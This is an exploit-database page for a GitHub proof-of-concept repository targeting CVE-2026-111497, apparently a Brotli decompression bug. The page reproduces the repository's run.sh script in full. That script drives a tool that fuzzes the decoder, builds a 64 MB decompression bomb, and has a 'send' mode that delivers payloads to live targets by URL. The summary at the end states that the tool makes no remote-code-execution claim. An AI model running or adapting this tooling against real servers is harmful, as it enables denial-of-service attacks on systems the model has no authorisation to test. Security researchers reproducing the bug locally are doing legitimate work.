Exploit databaseDownload repository ZIP
GH-be1f712684e063df26f8a3eadc3e28b0
catermaozi/cve-2026-111497-poc
Sources for CVE-2026-111497
61 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files16
catermaozi/cve-2026-111497-pocRevision ac6c4e343127
- .github/
- corpus/
- docs/
- tools/
- .gitattributes
- .gitignore
- CONTRIBUTING.md
- LICENSE
- Makefile
- README.md
- SECURITY.md
- cve_2026_111497.py
- mockbr.js
- requirements.txt
- run.bat
- run.sh
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
run.sh
Suggested starting fileShell · 7,274 bytes#!/usr/bin/env bash
# ---------------------------------------------------------------------------
# CVE-2026-111497 one-click runner
#
# ./run.sh full local validation (probe + bomb + decoder check)
# ./run.sh check environment check only
# ./run.sh fuzz [args] structure-aware fuzzing (default: 300 iterations)
# ./run.sh send [args] deliver a payload to a live target
# ./run.sh bomb [args] build a decompression payload
# ./run.sh serve start the bundled Content-Encoding: br test service
#
# Exit codes
# 0 success
# 2 a prerequisite is missing
# 3 probe timed out / no output
# 4 no crash found (expected - there is no public trigger for this CVE)
# ---------------------------------------------------------------------------
set -uo pipefail
HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
# Under MSYS/Git Bash a POSIX path like /e/code/x is handed to native Windows
# binaries (python.exe, node.exe) verbatim, which resolves to E:\e\code\x and
# fails. Convert once, use the Windows form for everything we pass to them.
if command -v cygpath >/dev/null 2>&1; then
HERE="$(cygpath -w "$HERE")"
fi
TOOL="$HERE/cve_2026_111497.py"
PY=""
# Several interpreters can be on PATH at once (a Windows Store stub, a venv,
# a system py). Pick one that is real, new enough, AND has brotli - the newline
# probe and the bomb both need it, and silently choosing a brotli-less
# interpreter makes `run.sh` fail for no visible reason.
pick_python() {
local cand
# Pass 1: insist on brotli.
for cand in "${PYTHON:-}" python3 python py; do
[ -n "$cand" ] || continue
command -v "$cand" >/dev/null 2>&1 || continue
if "$cand" -c 'import sys, brotli; sys.exit(0 if sys.version_info >= (3, 8) else 1)' >/dev/null 2>&1; then
PY="$cand"
return 0
fi
done
# Pass 2: any usable interpreter; brotli gets reported as a warning later.
for cand in "${PYTHON:-}" python3 python py; do
[ -n "$cand" ] || continue
command -v "$cand" >/dev/null 2>&1 || continue
if "$cand" -c 'import sys; sys.exit(0 if sys.version_info >= (3, 8) else 1)' >/dev/null 2>&1; then
PY="$cand"
return 0
fi
done
return 1
}
c_reset=$'\033[0m'; c_red=$'\033[31m'; c_grn=$'\033[32m'
c_yel=$'\033[33m'; c_dim=$'\033[2m'
if [ ! -t 1 ]; then c_reset=""; c_red=""; c_grn=""; c_yel=""; c_dim=""; fi
hr() { printf '%s\n' "------------------------------------------------------------"; }
head1(){ printf '\n%s=== %s ===%s\n' "$c_yel" "$1" "$c_reset"; }
done_(){ printf '%s[ok]%s %s\n' "$c_grn" "$c_reset" "$1"; }
warn_(){ printf '%s[warn]%s %s\n' "$c_yel" "$c_reset" "$1"; }
die_() { printf '%s[fail]%s %s\n' "$c_red" "$c_reset" "$1"; exit "${2:-2}"; }
# ---------------------------------------------------------------------------
check_env() {
head1 "environment"
[ -n "$PY" ] || pick_python \
|| die_ "no usable Python 3.8+ found. Install it, or set PYTHON=/path/to/python"
done_ "python $("$PY" -c 'import sys;print("%d.%d.%d"%sys.version_info[:3])')"
if command -v node >/dev/null 2>&1; then
done_ "node $(node --version)"
else
die_ "node not found on PATH - probe and fuzz both need a Node.js runtime"
fi
if "$PY" -c 'import brotli' >/dev/null 2>&1; then
done_ "python 'brotli' $("$PY" -c 'import brotli;print(getattr(brotli,"__version__","?"))')"
else
warn_ "python 'brotli' missing - seed generation and bomb will not work"
warn_ " install with: $PY -m pip install -r requirements.txt"
return 1
fi
return 0
}
# ---------------------------------------------------------------------------
MODE="${1:-all}"
shift 2>/dev/null || true
case "$MODE" in
check) check_env; exit $? ;;
probe) check_env; head1 "probe"; "$PY" "$TOOL" probe "$@"; exit $? ;;
fuzz) check_env; head1 "fuzz"; "$PY" "$TOOL" fuzz "$@"; exit $? ;;
send) check_env; head1 "send"; "$PY" "$TOOL" send "$@"; exit $? ;;
bomb) check_env; head1 "bomb"; "$PY" "$TOOL" bomb "$@"; exit $? ;;
serve)
check_env
head1 "mock service"
command -v node >/dev/null 2>&1 || die_ "node required"
printf '%sstarting Content-Encoding: br test service on 127.0.0.1:8080%s\n' "$c_dim" "$c_reset"
exec node "$HERE/mockbr.js"
;;
-h|--help|help)
sed -n '2,19p' "$0" | sed 's/^# \{0,1\}//'
exit 0
;;
all) ;;
*) die_ "unknown mode '$MODE' (use: all | check | probe | fuzz | send | bomb | serve)" 2 ;;
esac
# ---------------------------------------------------------------------------
check_env || {
warn_ "continuing with reduced functionality"
}
# ---------------------------------------------------------------------------
# 1. probe - does this build report the block-switch rejection?
# ---------------------------------------------------------------------------
head1 "1/3 probe - brotli decoder behaviour matrix on the local runtime"
hr
"$PY" "$TOOL" probe
rc=$?
if [ "$rc" -eq 3 ]; then
die_ "probe timed out - a hang is itself a finding, check the output above" 3
elif [ "$rc" -eq 2 ]; then
die_ "probe could not run" 2
fi
# ---------------------------------------------------------------------------
# 2. bomb - measured resource-exhaustion impact
# ---------------------------------------------------------------------------
head1 "2/3 bomb - build a decompression payload (64 MB target)"
hr
BOMB_OUT="$HERE/bomb.br"
if "$PY" "$TOOL" bomb --mb 64 --out "$BOMB_OUT"; then
: # the tool already printed the ratio
else
warn_ "bomb generation skipped (brotli package missing?)"
fi
# ---------------------------------------------------------------------------
# 3. local round-trip - prove the payload really is valid brotli
# ---------------------------------------------------------------------------
head1 "3/3 local round-trip - decode the payload with the local runtime"
hr
if [ -f "$BOMB_OUT" ] && command -v node >/dev/null 2>&1; then
node -e '
const fs = require("fs"), zlib = require("zlib");
const buf = fs.readFileSync(process.argv[1]);
const out = zlib.brotliDecompressSync(buf, { maxOutputLength: 256 * 1024 * 1024 });
console.log("[+] " + buf.length + " bytes on the wire -> " +
out.length + " bytes decoded (" +
(out.length / buf.length).toFixed(1) + "x)");
' "$BOMB_OUT"
done_ "payload is valid brotli and reaches the decoder path"
else
warn_ "skipped (no payload or no node)"
fi
# ---------------------------------------------------------------------------
head1 "summary"
cat <<EOF
CVE-2026-111497 is a real memory-safety bug, but it has no public trigger.
This toolset does not claim an RCE. What it gives you:
probe decoder behaviour matrix: which paths are reachable and what
error codes they produce (does NOT distinguish patched builds)
fuzz structure-aware hunting; crashers land in ./corpus/
send deliver any stream over three realistic vectors
bomb a measured, reportable resource-exhaustion impact
next steps
./run.sh fuzz --iters 2000 --out corpus --timeout 6
./run.sh serve # local br test service
./run.sh send --url http://127.0.0.1:8080/ --file bomb.br --mode body
full analysis: docs/WRITEUP.md
EOF
exit 0